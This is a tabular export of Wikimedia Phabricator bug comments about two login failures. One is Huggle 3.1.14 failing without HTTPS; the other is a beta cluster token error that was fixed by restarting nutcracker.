494732,Cannot login to Huggle 3.1.14,,,,1437550911,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-tv6fhvrdcoxk6zqv44e2,task_subcomment,,True,c3,3,True,,,2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
494731,Cannot login to Huggle 3.1.14,,,,1437550894,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-tv6fhvrdcoxk6zqv44e2,task_subcomment,,True,c3,3,True,,,2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
494730,Cannot login to Huggle 3.1.14,"They are not, if you wipe you config it will no longer allow you, it's
recent change of config that forbid users from using non ssl on WMF
servers. You still have configuration from previous time when it was
possible.",,,1437550892,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-tv6fhvrdcoxk6zqv44e2,task_subcomment,,True,c3,3,True,,,2,True,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,12.0,0.0,6.0,0.0,8.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,4.0,6.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,17.0,10.0,6.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,3.7708333333333335,0.7916666666666666,"They are not, if you wipe you config it will no longer allow you, it's
recent change of config that forbid users from using non ssl on WMF
servers. You still have configuration from previous time when it was
possible."
494718,Cannot login to Huggle 3.1.14,"If I check ""Use HTTPS (requires OpenSSL)"" I am able to login just fine; however, if I do not check it, I receive the error posted above. Out of curiosity, if SSL is required (and not using SSL produces errors), why are users given the option to choose whether to use HTTPS or not?",,,1437540961,,PHID-USER-sl2kxui7ez6tuziv25t4,False,,,PHID-TASK-tv6fhvrdcoxk6zqv44e2,task_subcomment,,True,c3,3,False,,,2,True,0.0,0.0,0.0,3.0,4.0,1.0,1.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,6.0,0.0,10.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,12.0,3.0,1.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,9.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.0,4.0,18.0,7.0,3.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,7.0,15.0,4.0,1.0,3.0,0.0,7.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,3.388059701492537,0.7313432835820896,"If I check ""Use HTTPS (requires OpenSSL)"" I am able to login just fine; however, if I do not check it, I receive the error posted above. Out of curiosity, if SSL is required (and not using SSL produces errors), why are users given the option to choose whether to use HTTPS or not?"
494279,Cannot login to Huggle 3.1.14,Keep in mind that you must use SSL since now,,,1437487718,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-tv6fhvrdcoxk6zqv44e2,task_subcomment,,True,c3,3,True,,,2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,30.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,10.0,30.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,Keep in mind that you must use SSL since now
494169,Cannot login to Huggle 3.1.14,Can you try install some of the previous versions? Do they work now?,,,1437468319,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-tv6fhvrdcoxk6zqv44e2,task_subcomment,,True,c3,3,True,,,2,True,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,13.0,7.0,0.0,13.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7333333333333334,0.9333333333333333,Can you try install some of the previous versions? Do they work now?
494167,Cannot login to Huggle 3.1.14,"Yes, I have used previous versions of Huggle on this operating system and computer. I haven't used Huggle for quite some time, but I know that I haven't set anything to block it on purpose. Perhaps a security setting on OS X is blocking it by default? I am not sure.",,,1437466747,,PHID-USER-sl2kxui7ez6tuziv25t4,False,,,PHID-TASK-tv6fhvrdcoxk6zqv44e2,task_subcomment,,True,c3,3,False,,,2,True,2.0,2.0,0.0,0.0,5.0,3.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,0.0,7.0,14.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,10.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,19.0,2.0,3.0,7.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,12.0,14.0,3.0,2.0,0.0,0.0,12.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,3.6610169491525424,0.7457627118644068,"Yes, I have used previous versions of Huggle on this operating system and computer. I haven't used Huggle for quite some time, but I know that I haven't set anything to block it on purpose. Perhaps a security setting on OS X is blocking it by default? I am not sure."
494160,Cannot login to Huggle 3.1.14,"The problem here is that huggle can't download stuff using internet, OS is somehow blocking its network access it seems.",,,1437463149,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-tv6fhvrdcoxk6zqv44e2,task_subcomment,,True,c3,3,True,,,2,True,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,13.0,0.0,9.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,9.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.391304347826087,0.9565217391304348,"The problem here is that huggle can't download stuff using internet, OS is somehow blocking its network access it seems."
494159,Cannot login to Huggle 3.1.14,Did you ever use any other version of huggle on this OS which worked?,,,1437463108,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-tv6fhvrdcoxk6zqv44e2,task_subcomment,,True,c3,3,True,,,2,True,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,13.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,13.0,0.0,7.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7333333333333334,1.0,Did you ever use any other version of huggle on this OS which worked?
494124,Cannot login to Huggle 3.1.14,"In case there's any confusion, I used the Huggle (3.1.14) for Mac OS X link found on the [[ https://meta.wikimedia.org/wiki/Huggle/Download | Huggle download page ]]. It is the fourth one down and a direct link can be found [[ https://github.com/huggle/huggle3-qt-lx/releases/download/3.1.14/huggle_3.1.14.dmg | here ]]. I removed Huggle from my system and downloaded it again to confirm that I am still receiving an error, which I am.",,,1437442593,,PHID-USER-sl2kxui7ez6tuziv25t4,False,,,PHID-TASK-tv6fhvrdcoxk6zqv44e2,task_subcomment,,True,c3,3,False,,,2,True,1.0,0.0,0.0,1.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,6.0,0.0,6.0,8.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,3.0,3.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,16.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,5.0,18.0,1.0,3.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,9.0,8.0,6.0,0.0,0.0,0.0,9.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,3.0,3.220779220779221,0.7142857142857143,"In case there's any confusion, I used the Huggle (3.1.14) for Mac OS X link found on the [[ URL | Huggle download page ]]. It is the fourth one down and a direct link can be found [[ URL | here ]]. I removed Huggle from my system and downloaded it again to confirm that I am still receiving an error, which I am."
493881,Cannot login to Huggle 3.1.14,Looks that version number is wrong. Did previous version work ok?,,,1437404450,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-tv6fhvrdcoxk6zqv44e2,task_subcomment,,True,c3,3,True,,,2,True,0.0,0.0,0.0,0.0,0.0,23.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.230769230769231,0.9230769230769231,Looks that version number is wrong. Did previous version work ok?
493765,Cannot login to Huggle 3.1.14,"Unable to reproduce on my end (yet)


```
Version: 3.1.13 build: 2597 3.1.14 without python support, compiled using QT 5.4.1 Running on QT 5.4.1
```

P.S. Do we have a version number out of date somewhere?  Or am I testing on the wrong build?",,,1437374921,,PHID-USER-vzo36k53hgat5bwuxsn5,False,,,PHID-TASK-tv6fhvrdcoxk6zqv44e2,task_subcomment,,True,c3,3,True,,,2,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,5.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,16.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,8.0,13.0,3.0,5.0,0.0,0.0,8.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0526315789473686,0.868421052631579,"Unable to reproduce on my end (yet)


``CODE``

P.S. Do we have a version number out of date somewhere?  Or am I testing on the wrong build?"
104212,Login failing - The provided authentication token is either expired or invalid.,"I cant login with my account to beta cluster it keeps telling me :

Central user login:
The provided authentication token is either expired or invalid.
{F184967}",Unbreak Now!,100.0,1435597361,1435603365.0,PHID-USER-24djtv3gj5gua2y6u2g5,False,PHID-USER-5ewyncd6mpezaymyxfal,False,PHID-TASK-wahu4xw5f2kqd5hbb7m7,task_description,resolved,True,c3,2,False,False,True,-1,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,11.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,11.0,6.0,3.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.942857142857143,0.9142857142857143,"I cant login with my account to beta cluster it keeps telling me :

Central user login:
The provided authentication token is either expired or invalid.
{F184967}"
1686202,Login failing - The provided authentication token is either expired or invalid.,"@59Efra: Hi, this ticket was resolved six years ago. If you run into issues, please follow https://www.mediawiki.org/wiki/Manual:How_to_debug/Login_problems and create a new ticket - thanks a lot!",,,1615969676,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-wahu4xw5f2kqd5hbb7m7,task_subcomment,,True,c3,3,True,,,297,True,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,13.0,3.0,3.0,10.0,0.0,0.0,3.0,0.0,6.0,6.0,3.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.6451612903225805,0.9032258064516129,"SCREEN_NAME: Hi, this ticket was resolved six years ago. If you run into issues, please follow URL and create a new ticket - thanks a lot!"
1684424,Login failing - The provided authentication token is either expired or invalid.,"I am having this same issue right now on Google Chrome, for now I've been able to work around it by switching to Microsoft Edge, but still it's probably worth looking at.",,,1615815142,,PHID-USER-m7dmvwslcycpgce2k2gy,False,,,PHID-TASK-wahu4xw5f2kqd5hbb7m7,task_subcomment,,True,c3,3,False,,,297,True,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,14.0,19.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,11.0,19.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.7567567567567566,0.8648648648648649,"I am having this same issue right now on Google Chrome, for now I've been able to work around it by switching to Microsoft Edge, but still it's probably worth looking at."
485110,Login failing - The provided authentication token is either expired or invalid.,None of those issues are occurring now.,,,1435778418,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-wahu4xw5f2kqd5hbb7m7,task_subcomment,,True,c3,2,False,,,-1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.125,1.0,None of those issues are occurring now.
484614,Login failing - The provided authentication token is either expired or invalid.,">>! In T104212#1411283, @Ryasmeen wrote:
> Yes, I am not getting that error now and being able to login. But I am seeing some other issues there , not sure if they are related like 
> 1. My user page is no more there,
> 2. I cannot create any new page
> 3. Searching for articles is not working
> 4. Random page always brings up the beta cluster main page 

Rummana, can you file a task for those issues (if they still occur)? Thanks!",,,1435704793,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-wahu4xw5f2kqd5hbb7m7,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,26.0,3.0,0.0,6.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,6.0,6.0,19.0,3.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.225806451612903,0.7096774193548387,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Rummana, can you file a task for those issues (if they still occur)? Thanks!"
483723,Login failing - The provided authentication token is either expired or invalid.,"Yes, I am not getting that error now and being able to login. But I am seeing some other issues there , not sure if they are related like 
1. My user page is no more there,
2. I cannot create any new page
3. Searching for articles is not working
4. Random page always brings up the beta cluster main page ",,,1435606175,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-wahu4xw5f2kqd5hbb7m7,task_subcomment,,True,c3,2,False,,,-1,True,3.0,0.0,0.0,1.0,5.0,9.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,7.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,8.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,12.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,8.0,11.0,1.0,3.0,5.0,0.0,0.0,0.0,0.0,3.0,1.0,4.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,1.0,3.324324324324324,0.7297297297297297,"Yes, I am not getting that error now and being able to login. But I am seeing some other issues there , not sure if they are related like 
1. My user page is no more there,
2. I cannot create any new page
3. Searching for articles is not working
4. Random page always brings up the beta cluster main page "
483722,Login failing - The provided authentication token is either expired or invalid.,"Yes, I am not getting that error now and being able to login. But I am seeing some other issues there , not sure if they are related like 
1. My user page is no more there,
2. I cannot create any new page
3. Searching for articles is not working
4.Random page always brings up the beta cluster main page ",,,1435606151,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-wahu4xw5f2kqd5hbb7m7,task_subcomment,,True,c3,2,False,,,-1,True,3.0,0.0,0.0,1.0,6.0,8.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,14.0,7.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,8.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,12.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,8.0,10.0,1.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,1.0,4.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,1.0,3.4166666666666665,0.7361111111111112,"Yes, I am not getting that error now and being able to login. But I am seeing some other issues there , not sure if they are related like 
1. My user page is no more there,
2. I cannot create any new page
3. Searching for articles is not working
4.Random page always brings up the beta cluster main page "
483664,Login failing - The provided authentication token is either expired or invalid.,"it's strange, nutcracker was running on the apache boxes, pid was correct in `/var/run/nutcracker`, nutcracker ports showed up with `netstat -tlnp`, but I definitely couldn't store a value using:

    sudo -u ""$MEDIAWIKI_WEB_USER"" php ""/srv/mediawiki/multiversion/MWScript.php"" eval.php --wiki=enwiki
    > var_dump($wgMemc->set('testtitle', 10));
    bool(false)",,,1435603365,,PHID-USER-5ewyncd6mpezaymyxfal,False,,,PHID-TASK-wahu4xw5f2kqd5hbb7m7,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,0.0,2.0,7.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,10.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,3.0,7.0,16.0,0.0,7.0,0.0,3.0,0.0,0.0,2.0,0.0,3.0,0.0,2.0,0.0,4.278688524590164,0.819672131147541,"it's strange, nutcracker was running on the apache boxes, pid was correct in CODE, nutcracker ports showed up with CODE, but I definitely couldn't store a value using:

    sudo -u ""$MEDIAWIKI_WEB_USER"" php ""/srv/mediawiki/multiversion/MWScript.php"" eval.php --wiki=enwiki
QUOTE
    bool(false)"
483661,Login failing - The provided authentication token is either expired or invalid.,"I'm able to login, where I was getting the error before. So I think this is resolved.

Any idea why nutcracker did that?

There's a task somewhere (iirc) to make CentralAuth pass all the data it needs in an encrypted packet, instead of relying on memcache. But I'm not going to be able to work on that in the short term.",,,1435603054,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-wahu4xw5f2kqd5hbb7m7,task_subcomment,,True,c3,2,True,,,-1,True,3.0,0.0,0.0,1.0,1.0,4.0,1.0,0.0,0.0,0.0,4.0,3.0,0.0,0.0,1.0,5.0,0.0,11.0,12.0,0.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,11.0,3.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,7.0,4.0,12.0,3.0,1.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,12.0,1.0,1.0,0.0,0.0,7.0,0.0,3.0,3.0,0.0,4.0,0.0,0.0,0.0,3.493333333333333,0.76,"I'm able to login, where I was getting the error before. So I think this is resolved.

Any idea why nutcracker did that?

There's a task somewhere (iirc) to make CentralAuth pass all the data it needs in an encrypted packet, instead of relying on memcache. But I'm not going to be able to work on that in the short term."
483640,Login failing - The provided authentication token is either expired or invalid.,"Restarted nutcracker on beta apache instances.

I can definitely login to http://login.wikimedia.beta.wmflabs.org/

@Ryasmeen are you able to login now?",,,1435601172,,PHID-USER-5ewyncd6mpezaymyxfal,False,,,PHID-TASK-wahu4xw5f2kqd5hbb7m7,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,9.0,13.0,0.0,4.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.3478260869565215,0.9130434782608695,"Restarted nutcracker on beta apache instances.

I can definitely login to URL
SCREEN_NAME are you able to login now?"
483621,Login failing - The provided authentication token is either expired or invalid.,(investigation on-going in #wikimedia-releng),,,1435599901,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-wahu4xw5f2kqd5hbb7m7,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.8181818181818183,0.9090909090909091,(investigation on-going in #wikimedia-releng)
